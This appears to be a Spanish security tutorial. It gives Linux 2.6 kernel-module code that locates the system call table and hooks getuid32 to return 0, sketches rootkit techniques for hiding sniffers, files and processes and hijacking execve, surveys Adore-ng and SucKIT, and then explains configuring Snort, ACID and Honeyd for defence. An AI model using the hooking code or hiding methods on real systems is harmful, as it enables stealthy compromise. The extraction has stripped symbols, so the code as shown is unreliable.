He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
